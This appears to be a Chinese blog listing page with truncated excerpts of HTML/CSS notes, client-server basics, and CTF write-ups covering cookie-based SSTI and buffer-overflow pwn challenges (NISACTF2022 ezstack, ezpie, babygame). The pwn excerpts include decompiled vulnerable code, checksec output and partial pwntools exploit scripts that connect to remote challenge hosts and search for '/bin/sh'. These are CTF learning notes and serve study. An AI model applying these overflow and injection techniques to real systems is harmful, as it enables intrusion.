HTML&CSS
web应用程序出现之前,客户机/服务器(C/S)是应用程序的主流框架
客户机主要任务:
1.建立和断开于服务器端的连接
2.提交数据访问请求
3.等待服务通告,接收请求结果或错误
4.处理数据库访问结果或错误,包括重发请求和终止请求
提供友好的应用程序用户界面
数据输入/输出及验证
服务器端任务:
为多用户管理一个独立的数据库
管理和处理接收到的数据访问请求,包括管理请求队列,管理缓存,响应服务,管理结果和通知服务的完成
管理用户账号,控制数据库访问权限和其他安全性
维护数据库,包括数据库备份和恢复等
保证数据库数据的完整或为用户提供完整性控制手段
如果用户请求执行的是ASP或者PHP脚本,则web服务器应用程序将解析并执行脚本,最后将结果转换成HTML格式,,并返回到客户端
br标签是HTML中的换行符,一般结束标签放在开始标签中,即<br/>
pre标签用于定义预格式化的文本,其中的文本会以等宽字体显示,并保留空格和换行符.<pre>标签通常可以用来显示源代码
li标签用于定义列表项目,...
checksec
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
main
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
/dev/urandom : Unix系统中的特殊设备文件,可用作随机数发生器或者伪随机数发生器
sub_804871F
int __cde...
知识点
SSTI模板注入 Cookie注入
index.php
hint.php
我们在hint.php中看到Why not take a closer look at cookies?,加上题目名字我们可以猜测这道题的漏洞点在cookie上面
我们通过burpsuite抓下包看一下cookie
页面提交后,cookie这里多了一个user=(msg you input),那么是不是可以命令执行呢
经过多次尝试,发现这是一个SSTI.即服务器端模板注入,什么是SSTI呢
SSTI
是什么 : Server-Side Template Injection
是什么引发 : render_template渲染函数 , 该函数在渲染时, 对用户输入的变量不做渲染 , {{}}在jinja2中作为变量包裹标识符,即jinja2中,会把{{}}包裹的内容当作变量解析替换,比如4会被解析成4,这样就像sql一样存在注入漏洞
判断SSTI类型
网上扒拉了一张图
exp
那么我们经过测试之后,大...
一道简单的rop,就是一丢丢坑
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF
init_io(argc, argv, envp);
while ( 1 )
{
pthread_create(&newthread, 0LL, test_thread, 0LL);
pthread_join(newthread, 0LL);
}
}
test_thread
int __fastcall test_thread(void...
[NISACTF2022]ezstack
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
shell();
return 0;
}
shell
ssize_t shell()
{
char buf; // [esp+0h] [ebp-48h]
system("echo Welcome to NISACTF");
return read(0, &buf, 0x60u);
}
shell函数处有溢出
完整exp
from pwn import *
elf = ELF('')
# io = process('')
io = remote('124.221.24.137',28760)
padlength = 0x48 + 0x4
bin_sh = next(elf.search(b'/bin...
[NISACTF2022]ezpie
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
OHHH!,give you a gift!
0x56573770
Input:
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("OHHH!,give you a gift!");
printf("%p\n", main);
puts("Input:");
vuln();
return 0;
}
vuln
ssize_t vuln()
{
char buf; /...
先贴下exp,wp晚点来补
完整exp
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
from pwn import *
from ctypes import *
# from LibcSearcher import *
import sys
context(os = 'linux' , arch = 'amd64')
context.terminal = ["tmux", "splitw", "-h"]
local = 1
if local == 0:
io = remote('1.14.71.254',28788)
else:
io = process("/mnt/c/Users/M1sceden4/Desktop/pwn/babygame_虎符CTF_2022")
libc_rand = cdll.LoadLibrary...